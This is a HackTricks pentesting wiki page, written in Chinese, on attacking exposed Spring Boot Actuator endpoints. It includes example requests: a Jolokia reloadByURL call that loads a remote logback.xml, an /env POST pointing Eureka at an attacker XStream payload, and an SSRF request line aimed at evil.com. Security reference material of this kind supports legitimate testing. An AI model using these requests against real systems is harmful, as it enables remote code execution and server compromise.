# Spring Actuators

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## **Spring Auth Bypass**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-17aedd90c6808c0e67e6f6d8efde8b69a187182a%2Fimage%20(5)%20(2).png?alt=media" alt=""><figcaption></figcaption></figure>

**来自** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*

## Exploiting Spring Boot Actuators

**查看原始帖子** \[**<https://www.veracode.com/blog/research/exploiting-spring-boot-actuators>**]

### **关键点:**

* Spring Boot Actuators注册诸如`/health`、`/trace`、`/beans`、`/env`等端点。在1到1.4版本中，这些端点可以在无需身份验证的情况下访问。从1.5版本开始，默认情况下只有`/health`和`/info`是非敏感的，但开发人员经常禁用此安全性。
* 某些Actuator端点可能会暴露敏感数据或允许有害操作：
* `/dump`、`/trace`、`/logfile`、`/shutdown`、`/mappings`、`/env`、`/actuator/env`、`/restart`和`/heapdump`。
* 在Spring Boot 1.x中，actuators注册在根URL下，而在2.x中，它们在`/actuator/`基本路径下。

### **利用技术:**

1. **通过'/jolokia'实现远程代码执行**:

* `/jolokia` actuator端点暴露了Jolokia库，允许通过HTTP访问MBeans。
* `reloadByURL`操作可被利用以从外部URL重新加载日志配置，这可能导致通过精心制作的XML配置进行盲目XXE或远程代码执行。
* 示例利用URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`。

2. **通过'/env'修改配置**:

* 如果存在Spring Cloud库，则`/env`端点允许修改环境属性。
* 可以操纵属性以利用漏洞，例如Eureka serviceURL中的XStream反序列化漏洞。
* 示例利用POST请求:

```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```

3. **其他有用的设置**:

* 诸如`spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url`和`spring.datasource.tomcat.max-active`等属性可以被操纵以进行各种利用，例如SQL注入或更改数据库连接字符串。

### **附加信息:**

* 可在[此处](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)找到默认actuators的全面列表。
* Spring Boot 2.x中的`/env`端点使用JSON格式进行属性修改，但一般概念保持不变。

### **相关主题:**

1. **Env + H2 RCE**:

* 有关利用`/env`端点和H2数据库组合的详细信息，请参阅[此处](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)。

2. **通过不正确的路径名解释在Spring Boot上进行SSRF**:

* Spring框架对HTTP路径名中的矩阵参数(`;`)的处理可被利用进行服务器端请求伪造（SSRF）。
* 示例利用请求:

```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
